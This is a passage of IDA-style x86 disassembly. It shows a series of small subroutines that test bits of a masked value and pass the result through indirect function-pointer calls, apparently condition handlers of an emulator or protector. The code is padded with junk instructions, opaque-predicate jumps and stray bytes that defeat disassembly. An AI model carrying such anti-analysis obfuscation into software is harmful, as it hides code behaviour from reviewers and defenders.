loc_4A0B89: ; CODE XREF: sub_4A0AF6+8Cj
jz short loc_4A0B84
loc_4A0B8B: ; CODE XREF: sub_4A0AF6+8Aj
jmp short loc_4A0B84
; ---------------------------------------------------------------------------
loc_4A0B8D: ; CODE XREF: sub_4A0AF6:loc_4A0B84j
inc eax
dec eax
jo short loc_4A0B9A
jl short loc_4A0B98
loc_4A0B93: ; CODE XREF: sub_4A0AF6:loc_4A0B98j
; sub_4A0AF6:loc_4A0B9Aj
jmp short loc_4A0B9C
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A0B98: ; CODE XREF: sub_4A0AF6+9Bj
jz short loc_4A0B93
loc_4A0B9A: ; CODE XREF: sub_4A0AF6+99j
jmp short loc_4A0B93
; ---------------------------------------------------------------------------
loc_4A0B9C: ; CODE XREF: sub_4A0AF6:loc_4A0B93j
inc eax
dec eax
inc eax
dec eax
jo short loc_4A0BAB
jl short loc_4A0BA9
loc_4A0BA4: ; CODE XREF: sub_4A0AF6:loc_4A0BA9j
; sub_4A0AF6:loc_4A0BABj
jmp short loc_4A0BAD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A0BA9: ; CODE XREF: sub_4A0AF6+ACj
jz short loc_4A0BA4
loc_4A0BAB: ; CODE XREF: sub_4A0AF6+AAj
jmp short loc_4A0BA4
; ---------------------------------------------------------------------------
loc_4A0BAD: ; CODE XREF: sub_4A0AF6:loc_4A0BA4j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0BD1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0BD1: ; CODE XREF: sub_4A0AF6+D0j
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0AF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0BE5 proc near ; DATA XREF: sub_4965D8+1515o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D84
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
dec bh
ja short $+2
dec bh
dec bh
dec bh
and eax, 41h
bswap ecx
and eax, 0
jno short $+2
mov bl, 85h
sub bl, 20h
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
inc eax
dec bl
dec bl
dec bl
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B4
xor ecx, dword_4ED3B8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0C61
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0C61: ; CODE XREF: sub_4A0BE5+71j
mov eax, [ebp+var_8]
push eax
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0BE5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0C75 proc near ; DATA XREF: sub_4965D8+97Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D88
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push eax
mov eax, 4
bswap eax
not eax
pop eax
push edx
mov dh, 80h
mov dh, 0
inc dh
mov ecx, ecx
inc dh
inc dh
inc dh
inc dh
push ebx
inc dh
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 800h
xchg eax, ecx
mov ecx, 40h
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
inc dh
inc dh
and ebx, 800h
inc dh
inc dh
inc dh
inc dh
and ebx, 10h
inc dh
inc dh
pop ebx
sub dh, 0Dh
dec dh
and ah, dh
mov dl, 5
sub dl, 0FFh
dec dl
dec dl
dec dl
sub dl, 0FFh
dec dl
dec dl
dec dl
and al, dl
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B8
xor ecx, dword_4ED3BC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0D25
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0D25: ; CODE XREF: sub_4A0C75+A5j
mov eax, [ebp+var_8]
push eax
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0C75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0D39 proc near ; DATA XREF: sub_4965D8+11FCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
and eax, 0
dec bl
dec bl
sub bl, 1Ah
dec bl
dec bl
inc eax
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0DC0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0DC0: ; CODE XREF: sub_4A0D39+7Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0D39 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0DD4 proc near ; DATA XREF: sub_4965D8+C7Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A0DF9
jl short loc_4A0DF7
loc_4A0DF4: ; CODE XREF: sub_4A0DD4:loc_4A0DF7j
; sub_4A0DD4:loc_4A0DF9j
jmp short loc_4A0DFB
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A0DF7: ; CODE XREF: sub_4A0DD4+1Ej
jz short loc_4A0DF4
loc_4A0DF9: ; CODE XREF: sub_4A0DD4+1Cj
jmp short loc_4A0DF4
; ---------------------------------------------------------------------------
loc_4A0DFB: ; CODE XREF: sub_4A0DD4:loc_4A0DF4j
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 74h
sub cl, 8
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
jo short loc_4A0E76
jl short loc_4A0E74
loc_4A0E71: ; CODE XREF: sub_4A0DD4:loc_4A0E74j
; sub_4A0DD4:loc_4A0E76j
jmp short loc_4A0E78
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A0E74: ; CODE XREF: sub_4A0DD4+9Bj
jz short loc_4A0E71
loc_4A0E76: ; CODE XREF: sub_4A0DD4+99j
jmp short loc_4A0E71
; ---------------------------------------------------------------------------
loc_4A0E78: ; CODE XREF: sub_4A0DD4:loc_4A0E71j
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0EA7
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0EA7: ; CODE XREF: sub_4A0DD4+C8j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0EBB proc near ; DATA XREF: sub_4965D8+B85o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D98
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Bh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
dec cl
dec cl
dec cl
dec cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C8
xor ecx, dword_4ED3CC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0F5B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0F5B: ; CODE XREF: sub_4A0EBB+95j
mov eax, [ebp+var_8]
push eax
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0EBB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0F6F proc near ; DATA XREF: sub_4965D8+789o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
dec dh
dec dh
and ah, dh
mov dl, 0Eh
sub dl, 0FFh
jo short loc_4A0FA2
jl short loc_4A0FA0
loc_4A0F9D: ; CODE XREF: sub_4A0F6F:loc_4A0FA0j
; sub_4A0F6F:loc_4A0FA2j
jmp short loc_4A0FA4
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A0FA0: ; CODE XREF: sub_4A0F6F+2Cj
jz short loc_4A0F9D
loc_4A0FA2: ; CODE XREF: sub_4A0F6F+2Aj
jmp short loc_4A0F9D
; ---------------------------------------------------------------------------
loc_4A0FA4: ; CODE XREF: sub_4A0F6F:loc_4A0F9Dj
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
jo short loc_4A0FC1
jl short loc_4A0FBF
loc_4A0FBC: ; CODE XREF: sub_4A0F6F:loc_4A0FBFj
; sub_4A0F6F:loc_4A0FC1j
jmp short loc_4A0FC3
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A0FBF: ; CODE XREF: sub_4A0F6F+4Bj
jz short loc_4A0FBC
loc_4A0FC1: ; CODE XREF: sub_4A0F6F+49j
jmp short loc_4A0FBC
; ---------------------------------------------------------------------------
loc_4A0FC3: ; CODE XREF: sub_4A0F6F:loc_4A0FBCj
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
inc dl
jo short loc_4A0FDE
jl short loc_4A0FDC
loc_4A0FD9: ; CODE XREF: sub_4A0F6F:loc_4A0FDCj
; sub_4A0F6F:loc_4A0FDEj
jmp short loc_4A0FE0
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4A0FDC: ; CODE XREF: sub_4A0F6F+68j
jz short loc_4A0FD9
loc_4A0FDE: ; CODE XREF: sub_4A0F6F+66j
jmp short loc_4A0FD9
; ---------------------------------------------------------------------------
loc_4A0FE0: ; CODE XREF: sub_4A0F6F:loc_4A0FD9j
and al, dl
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1006
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1006: ; CODE XREF: sub_4A0F6F+8Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0F6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A101A proc near ; DATA XREF: sub_4965D8+13EFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D7C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Bh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0E00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3AC
xor ecx, dword_4ED3B0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A10D3
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A10D3: ; CODE XREF: sub_4A101A+AEj
mov eax, [ebp+var_8]
push eax
call off_4F1D04
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A101A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A10E7 proc near ; DATA XREF: sub_4965D8+B6Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
dec bh
ja short $+2
dec bh
dec bh
dec bh
and eax, 41h
bswap ecx
jo short loc_4A1128
jl short loc_4A1126
loc_4A1123: ; CODE XREF: sub_4A10E7:loc_4A1126j
; sub_4A10E7:loc_4A1128j
jmp short loc_4A112A
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A1126: ; CODE XREF: sub_4A10E7+3Aj
jz short loc_4A1123
loc_4A1128: ; CODE XREF: sub_4A10E7+38j
jmp short loc_4A1123
; ---------------------------------------------------------------------------
loc_4A112A: ; CODE XREF: sub_4A10E7:loc_4A1123j
and eax, 0
jno short $+2
mov bl, 85h
sub bl, 20h
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
jo short loc_4A114C
jl short loc_4A114A
loc_4A1147: ; CODE XREF: sub_4A10E7:loc_4A114Aj
; sub_4A10E7:loc_4A114Cj
jmp short loc_4A114E
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A114A: ; CODE XREF: sub_4A10E7+5Ej
jz short loc_4A1147
loc_4A114C: ; CODE XREF: sub_4A10E7+5Cj
jmp short loc_4A1147
; ---------------------------------------------------------------------------
loc_4A114E: ; CODE XREF: sub_4A10E7:loc_4A1147j
inc eax
dec bl
dec bl
dec bl
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1179
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1179: ; CODE XREF: sub_4A10E7+87j
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A10E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A118D proc near ; DATA XREF: sub_4965D8+F3Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A11B2
jl short loc_4A11B0
loc_4A11AD: ; CODE XREF: sub_4A118D:loc_4A11B0j
; sub_4A118D:loc_4A11B2j
jmp short loc_4A11B4
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A11B0: ; CODE XREF: sub_4A118D+1Ej
jz short loc_4A11AD
loc_4A11B2: ; CODE XREF: sub_4A118D+1Cj
jmp short loc_4A11AD
; ---------------------------------------------------------------------------
loc_4A11B4: ; CODE XREF: sub_4A118D:loc_4A11ADj
push edx
mov dh, 2
jo short loc_4A11C0
jl short loc_4A11BE
loc_4A11BB: ; CODE XREF: sub_4A118D:loc_4A11BEj
; sub_4A118D:loc_4A11C0j
jmp short loc_4A11C2
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A11BE: ; CODE XREF: sub_4A118D+2Cj
jz short loc_4A11BB
loc_4A11C0: ; CODE XREF: sub_4A118D+2Aj
jmp short loc_4A11BB
; ---------------------------------------------------------------------------
loc_4A11C2: ; CODE XREF: sub_4A118D:loc_4A11BBj
dec dh
dec dh
and ah, dh
mov dl, 1
and al, dl
not ah
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E4
xor ecx, dword_4ED3E8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A11F9
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A11F9: ; CODE XREF: sub_4A118D+61j
mov eax, [ebp+var_8]
push eax
call off_4F1D3C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A118D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A120D proc near ; DATA XREF: sub_4965D8+AD0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 80h
xchg eax, ecx
mov ecx, 1
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
push edx
mov dh, 16h
sub dh, 6
not ecx
dec dh
dec dh
dec dh
dec dh
bswap eax
dec dh
dec dh
sub dh, 5
sub dh, 3
dec dh
dec dh
bswap eax
and ah, dh
mov dl, 9
dec dl
dec dl
dec dl
dec dl
not ecx
dec dl
dec dl
dec dl
inc dl
dec dl
inc dl
dec dl
inc dl
inc dl
dec dl
dec dl
dec dl
dec dl
add dl, 1
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A12C3
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A12C3: ; CODE XREF: sub_4A120D+ABj
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A12D7 proc near ; DATA XREF: sub_4965D8+137Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_4A1300
; ---------------------------------------------------------------------------
mov ebx, 4
loc_4A1300: ; CODE XREF: sub_4A12D7+22j
mov ebx, 32h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A134A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A134A: ; CODE XREF: sub_4A12D7+68j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A12D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A135E proc near ; DATA XREF: sub_4965D8+10D5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_4A13C1
jl short loc_4A13BF
loc_4A13BC: ; CODE XREF: sub_4A135E:loc_4A13BFj
; sub_4A135E:loc_4A13C1j
jmp short loc_4A13C3
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A13BF: ; CODE XREF: sub_4A135E+5Cj
jz short loc_4A13BC
loc_4A13C1: ; CODE XREF: sub_4A135E+5Aj
jmp short loc_4A13BC
; ---------------------------------------------------------------------------
loc_4A13C3: ; CODE XREF: sub_4A135E:loc_4A13BCj
dec cl
and eax, 40h
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_4A149E
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 8
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec edi
inc esi
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_4A1489
not eax
add eax, 1
stc
jmp short loc_4A148F
; ---------------------------------------------------------------------------
loc_4A1489: ; CODE XREF: sub_4A135E+121j
not eax
add eax, 1
clc
loc_4A148F: ; CODE XREF: sub_4A135E+129j
sbb eax, eax
add eax, 1
pop ecx
cmp ecx, eax
jnz short loc_4A149E
and eax, 0
jmp short loc_4A14A2
; ---------------------------------------------------------------------------
loc_4A149E: ; CODE XREF: sub_4A135E+90j
; sub_4A135E+139j
and eax, 0
inc eax
loc_4A14A2: ; CODE XREF: sub_4A135E+13Ej
mov [ebp+var_C], eax
mov ecx, dword_4ED3F8
xor ecx, dword_4ED3FC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A14C5
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A14C5: ; CODE XREF: sub_4A135E+15Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A135E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A14D9 proc near ; DATA XREF: sub_4965D8+14FFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Dh
pop ebx
jo short loc_4A150C
jl short loc_4A150A
loc_4A1505: ; CODE XREF: sub_4A14D9:loc_4A150Aj
; sub_4A14D9:loc_4A150Cj
jmp short loc_4A150E
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A150A: ; CODE XREF: sub_4A14D9+2Aj
jz short loc_4A1505
loc_4A150C: ; CODE XREF: sub_4A14D9+28j
jmp short loc_4A1505
; ---------------------------------------------------------------------------
loc_4A150E: ; CODE XREF: sub_4A14D9:loc_4A1505j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 2500h
dec dh
sub dh, 3
dec dh
sub dh, 17h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1562
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1562: ; CODE XREF: sub_4A14D9+7Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A14D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1576 proc near ; DATA XREF: sub_4965D8+15F8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 200h
inc dh
inc dh
dec dh
inc dh
inc dh
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
